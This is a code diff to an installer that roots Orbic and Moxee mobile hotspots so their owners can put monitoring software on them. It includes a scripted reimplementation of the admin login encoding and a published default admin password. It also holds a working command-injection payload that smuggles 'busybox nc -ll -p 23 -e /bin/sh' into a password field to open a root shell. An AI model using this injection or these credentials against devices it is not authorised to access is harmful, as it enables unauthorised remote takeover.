diff --git a/doc/moxee.md b/doc/moxee.md index 798d9c0..a89fa3c 100644 --- a/doc/moxee.md +++ b/doc/moxee.md @@ -30,11 +30,10 @@ According to [FCC ID 2APQU-K779HSDL](https://fcc.report/FCC-ID/2APQU-K779HSDL), Connect to the hotspot's network using WiFi or USB tethering and run: ```sh -./installer orbic-network +./installer orbic-network --admin-password 'mypassword' ``` -The installation will ask you to log into the admin UI using a custom URL. The -password for that is under the battery. +The password (in place of `mypassword`) is under the battery. ## Obtaining a shell diff --git a/doc/orbic.md b/doc/orbic.md index 697315a..e27edbd 100644 --- a/doc/orbic.md +++ b/doc/orbic.md @@ -32,11 +32,14 @@ reliably on Windows than `./installer orbic` does. The drawback is that the device's admin password is required. 1. Connect to the Orbic's network via WiFi or USB tethering -2. Run `./installer orbic-network` -3. The installer will ask you to log into the admin UI on `localhost:4000`. The password for that is the same as the WiFi password. -4. As soon as you're logged in, the installer will continue and reboot the device. +2. Run `./installer orbic-network --admin-password 'mypassword'` -*note*: On Kajeet devices the default admin password is `$m@rt$p0tc0nf!g`, on most other orbic devices the default admin password is the same as the wifi password. If the password has been changed you can reset it by pressing the button under the back case until the unit restarts. + * On Verizon Orbic, the password is the WiFi password. + * On Kajeet/Smartspot devices, the default password is `$m@rt$p0tc0nf!g` + * On Moxee-brand devices, check under the battery for the password. + * You can reset the password by pressing the button under the back case until the unit restarts. + +3. The installer will eventually reboot the device, at which point the device is up and running. ## Obtaining a shell diff --git a/installer/src/main.rs b/installer/src/main.rs index 9e9637e..821e8f2 100644 --- a/installer/src/main.rs +++ b/installer/src/main.rs @@ -3,6 +3,7 @@ use clap::{Parser, Subcommand}; use env_logger::Env; mod orbic; +mod orbic_auth; mod orbic_network; mod pinephone; mod tmobile; @@ -76,6 +77,14 @@ struct OrbicNetworkArgs { /// IP address for Orbic admin interface, if custom. #[arg(long, default_value = "192.168.1.1")] admin_ip: String, + + /// Admin username for authentication. + #[arg(long, default_value = "admin")] + admin_username: String, + + /// Admin password for authentication. + #[arg(long)] + admin_password: String, } #[derive(Parser, Debug)] @@ -199,7 +208,7 @@ async fn run() -> Result<(), Error> { Command::Pinephone(_) => pinephone::install().await .context("Failed to install rayhunter on the Pinephone's Quectel modem")?, Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?, - Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?, + Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?, Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?, Command::Util(subcommand) => match subcommand.command { UtilSubCommand::Serial(serial_cmd) => { @@ -237,7 +246,7 @@ async fn run() -> Result<(), Error> { UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?, UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?, UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?, - UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip).await.context("\\nFailed to start telnet on the Orbic RC400L")?, + UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip, &args.admin_username, &args.admin_password).await.context("\\nFailed to start telnet on the Orbic RC400L")?, } } diff --git a/installer/src/orbic_auth.rs b/installer/src/orbic_auth.rs new file mode 100644 index 0000000..a0caee0 --- /dev/null +++ b/installer/src/orbic_auth.rs @@ -0,0 +1,80 @@ +use anyhow::{Context, Result}; +use base64_light::base64_encode; +use serde::{Deserialize, Serialize}; + +/// Helper function to swap characters in a string +fn swap_chars(s: &str, pos1: usize, pos2: usize) -> String { + let mut chars: Vec = s.chars().collect(); + if pos1 < chars.len() && pos2 < chars.len() { + chars.swap(pos1, pos2); + } + chars.into_iter().collect() +} + +/// Apply character swapping based on secret (unchanged from original algorithm) +fn apply_secret_swapping(mut text: String, secret_num: u32) -> String { + for i in 0..4 { + let byte = (secret_num >> (i * 8)) & 0xff; + let pos1 = (byte as usize) % text.len(); + let pos2 = i % text.len(); + text = swap_chars(&text, pos1, pos2); + } + text +} + +/// Encode password using Orbic's custom algorithm +/// +/// This function is a lot simpler than the original JavaScript because it always uses the same +/// character set regardless of "password type", and any randomly generated values are hardcoded. +pub fn encode_password( + password: &str, + secret: &str, + timestamp: &str, + timestamp_start: u64, +) -> Result { + let current_time = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap() + .as_secs(); + + // MD5 hash the password and use fixed prefix "a7" instead of random chars + let password_md5 = format!("{:x}", md5::compute(password)); + let mut spliced_password = format!("a7{}", password_md5); + + let secret_num = u32::from_str_radix(secret, 16).context("Failed to parse secret as hex")?; + + spliced_password = apply_secret_swapping(spliced_password, secret_num); + + let timestamp_hex = + u32::from_str_radix(timestamp, 16).context("Failed to parse timestamp as hex")?; + let time_delta = format!( + "{:x}", + timestamp_hex + (current_time - timestamp_start) as u32 + ); + + // Use fixed hex "6137" instead of hex encoding of random values + let message = format!("6137x{}:{}", time_delta, spliced_password); + + let result = base64_encode(&message); + let result = apply_secret_swapping(result, secret_num); + + Ok(result) +} + +#[derive(Debug, Serialize)] +pub struct LoginRequest { + pub username: String, + pub password: String, +} + +#[derive(Debug, Deserialize)] +pub struct LoginInfo { + pub retcode: u32, + #[serde(rename = "priKey")] + pub pri_key: String, +} + +#[derive(Debug, Deserialize)] +pub struct LoginResponse { + pub retcode: u32, +} diff --git a/installer/src/orbic_network.rs b/installer/src/orbic_network.rs index 29f0736..d4159a8 100644 --- a/installer/src/orbic_network.rs +++ b/installer/src/orbic_network.rs @@ -4,21 +4,11 @@ use std::str::FromStr; use std::time::Duration; use anyhow::{Context, Result, bail}; -use axum::{ - Router, - body::Body, - extract::{Request, State}, - http::uri::Uri, - response::{IntoResponse, Response}, - routing::any, -}; -use hyper::StatusCode; -use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor}; use reqwest::Client; use serde::Deserialize; -use tokio::sync::mpsc; use tokio::time::sleep; +use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password}; use crate::util::{echo, telnet_send_command, telnet_send_file}; use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT}; @@ -27,16 +17,127 @@ struct ExploitResponse { retcode: u32, } -pub async fn start_telnet(admin_ip: &str) -> Result<()> { - println!("Waiting for login and trying exploit... "); - login_and_exploit(admin_ip).await?; +async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> { + let client = Client::new(); + + // Step 1: Get login info (priKey and session cookie) + let login_info_response = client + .get(format!("http://{}/goform/GetLoginInfo", admin_ip)) + .send() + .await + .context("Failed to get login info")?; + + let session_cookie = login_info_response + .headers() + .get("set-cookie") + .and_then(|cookie| cookie.to_str().ok()) + .context("No session cookie received")? + .split(';') + .next() + .context("Invalid cookie format")? + .to_string(); + + let login_info: LoginInfo = login_info_response + .json() + .await + .context("Failed to parse login info")?; + + if login_info.retcode != 0 { + bail!("GetLoginInfo failed with retcode: {}", login_info.retcode); + } + + // Parse priKey (format: "secret x timestamp") + let mut parts = login_info.pri_key.split('x'); + let secret = parts.next().context("Missing secret in priKey")?; + let timestamp = parts.next().context("Missing timestamp in priKey")?; + if parts.next().is_some() { + bail!("Invalid priKey format: {}", login_info.pri_key); + } + + // Step 2: Encode credentials + let username_md5 = format!("{:x}", md5::compute(username)); + let timestamp_start = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap() + .as_secs(); + + let encoded_password = encode_password(password, secret, timestamp, timestamp_start) + .context("Failed to encode password")?; + + let login_request = LoginRequest { + username: username_md5, + password: encoded_password, + }; + + // Step 3: Perform login + let login_response = client + .post(format!("http://{}/goform/login", admin_ip)) + .header("Content-Type", "application/json") + .header("Cookie", &session_cookie) + .json(&login_request) + .send() + .await + .context("Failed to send login request")?; + + // Extract authenticated session cookie from login response + let authenticated_cookie = login_response + .headers() + .get("set-cookie") + .and_then(|cookie| cookie.to_str().ok()) + .map(|cookie| cookie.split(';').next().unwrap_or(cookie).to_string()) + .unwrap_or(session_cookie); + + let login_result: LoginResponse = login_response + .json() + .await + .context("Failed to parse login response")?; + + if login_result.retcode != 0 { + bail!("Login failed with retcode: {}", login_result.retcode); + } + + // Step 4: Exploit using authenticated session + let response: ExploitResponse = client + .post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip)) + .header("Content-Type", "application/json") + .header("Cookie", authenticated_cookie) + // Original Orbic lacks telnetd (unlike other devices) + // When doing this, one needs to set prompt=None in the telnet utility functions + .body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#) + .send() + .await + .context("failed to start telnet")? + .json() + .await + .context("failed to start telnet")?; + + if response.retcode != 0 { + bail!("unexpected response while starting telnet: {:?}", response); + } + + Ok(()) +} + +pub async fn start_telnet( + admin_ip: &str, + admin_username: &str, + admin_password: &str, +) -> Result<()> { + echo!("Logging in and starting telnet... "); + login_and_exploit(admin_ip, admin_username, admin_password).await?; println!("done"); Ok(()) } -pub async fn install(admin_ip: String) -> Result<()> { - start_telnet(&admin_ip).await?; +pub async fn install( + admin_ip: String, + admin_username: String, + admin_password: String, +) -> Result<()> { + echo!("Logging in and starting telnet... "); + login_and_exploit(&admin_ip, &admin_username, &admin_password).await?; + println!("done"); echo!("Waiting for telnet to become available... "); wait_for_telnet(&admin_ip).await?; @@ -45,105 +146,6 @@ pub async fn install(admin_ip: String) -> Result<()> { setup_rayhunter(&admin_ip).await } -type HttpProxyClient = hyper_util::client::legacy::Client; - -#[derive(Clone)] -struct ProxyState { - client: HttpProxyClient, - admin_ip: String, - session_sender: mpsc::Sender, -} - -async fn proxy_handler(state: State, mut req: Request) -> Result { - // Check for existing session cookie in request - if let Some(cookie_header) = req.headers().get("cookie") - && let Ok(cookie_str) = cookie_header.to_str() - && cookie_str.contains("-goahead-session-") - { - let _ = state.session_sender.send(cookie_str.to_owned()).await; - } - - let path_query = req - .uri() - .path_and_query() - .map(|v| v.as_str()) - .unwrap_or("/"); - let uri = format!("http://{}{}", state.admin_ip, path_query); - *req.uri_mut() = Uri::try_from(uri).unwrap(); - - let response = state - .client - .request(req) - .await - .map_err(|_| StatusCode::BAD_REQUEST)?; - Ok(response.into_response()) -} - -async fn login_and_exploit(admin_ip: &str) -> Result<()> { - let client = hyper_util::client::legacy::Client::builder(TokioExecutor::new()) - .build(HttpConnector::new()); - let (tx, mut rx) = mpsc::channel(100); - - let app = Router::new() - .route("/", any(proxy_handler)) - .route("/{*path}", any(proxy_handler)) - .with_state(ProxyState { - client, - admin_ip: admin_ip.to_owned(), - session_sender: tx, - }); - - let listener = tokio::net::TcpListener::bind("127.0.0.1:4000") - .await - .context("Failed to bind to port 4000")?; - - println!( - "Please open http://127.0.0.1:4000 in your browser and log into the device to continue." - ); - println!("Username: admin"); - println!( - "Password: On Verizon Orbic RC400L, use the WiFi password. On Moxee devices, check under the battery." - ); - - let handle = tokio::spawn(async move { axum::serve(listener, app).await }); - let exploit_client = Client::new(); - - let mut last_error = None; - - while let Some(cookie_header) = rx.recv().await { - match start_reverse_shell(&exploit_client, admin_ip, &cookie_header).await { - Ok(_) => { - handle.abort(); - return Ok(()); - } - Err(e) => last_error = Some(e), - } - } - - handle.abort(); - bail!("Failed to receive session cookie, last error: {last_error:?}") -} - -async fn start_reverse_shell(client: &Client, admin_ip: &str, cookie_header: &str) -> Result<()> { - let response: ExploitResponse = client - .post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip)) - .header("Content-Type", "application/json") - .header("Cookie", cookie_header) - // Original Orbic lacks telnetd (unlike other devices) - // When doing this, one needs to set prompt=None in the telnet utility functions - .body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#) - .send() - .await? - .json() - .await?; - - if response.retcode != 0 { - bail!("unexpected response: {:?}", response); - } - - Ok(()) -} - async fn wait_for_telnet(admin_ip: &str) -> Result<()> { let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?; let timeout = Duration::from_secs(60); diff --git a/installer/src/util.rs b/installer/src/util.rs index cc416c9..d0f04a9 100644 --- a/installer/src/util.rs +++ b/installer/src/util.rs @@ -18,12 +18,11 @@ macro_rules! echo { } pub(crate) use echo; -pub async fn telnet_send_command( +pub async fn telnet_send_command_with_output( addr: SocketAddr, command: &str, - expected_output: &str, wait_for_prompt: bool, -) -> Result<()> { +) -> Result { let stream = TcpStream::connect(addr).await?; let (mut reader, mut writer) = stream.into_split(); @@ -69,9 +68,19 @@ pub async fn telnet_send_command( } }) .await; - let string = String::from_utf8_lossy(&read_buf); - if !string.contains(expected_output) { - bail!("{expected_output:?} not found in: {string}"); + let string = String::from_utf8_lossy(&read_buf).to_string(); + Ok(string) +} + +pub async fn telnet_send_command( + addr: SocketAddr, + command: &str, + expected_output: &str, + wait_for_prompt: bool, +) -> Result<()> { + let output = telnet_send_command_with_output(addr, command, wait_for_prompt).await?; + if !output.contains(expected_output) { + bail!("{expected_output:?} not found in: {output}"); } Ok(()) } @@ -83,17 +92,18 @@ pub async fn telnet_send_file( wait_for_prompt: bool, ) -> Result<()> { echo!("Sending file {filename} ... "); - { + let nc_output = { let filename = filename.to_owned(); let handle = tokio::spawn(async move { - telnet_send_command( + telnet_send_command_with_output( addr, &format!("nc -l -p 8081 >{filename}.tmp"), - "", wait_for_prompt, ) .await }); + // wait for nc to become available. if the installer fails with connection refused, this + // likely is not high enough. sleep(Duration::from_millis(100)).await; let mut addr = addr; addr.set_port(8081); @@ -101,11 +111,22 @@ pub async fn telnet_send_file( { let mut stream = TcpStream::connect(addr).await?; stream.write_all(payload).await?; - // ensure that stream is dropped before we wait for nc to terminate! + + // if the orbic is sluggish, we need for nc to write the data to disk before + // terminating the connection. if we terminate the connection while there is unflushed + // data, that data will just not be written from nc's buffer into OS disk buffer. the + // symptom is mismatched md5 hashes. + // + // this is NOT fixed by calling fsync or similar, we're talking about dropped + // application buffers here. + sleep(Duration::from_millis(1000)).await; + + // ensure that stream is dropped before we wait for nc to terminate. } - handle.await??; - } + handle.await?? + }; + let checksum = md5::compute(payload); telnet_send_command( addr, @@ -113,7 +134,15 @@ pub async fn telnet_send_file( &format!("{checksum:x} {filename}.tmp"), wait_for_prompt, ) - .await?; + .await + .with_context(|| { + format!( + "File transfer failed. nc command output: '{}'. Expected checksum: {:x}", + nc_output.trim(), + checksum + ) + })?; + telnet_send_command( addr, &format!("mv {filename}.tmp {filename}"), @@ -121,6 +150,7 @@ pub async fn telnet_send_file( wait_for_prompt, ) .await?; + println!("ok"); Ok(()) }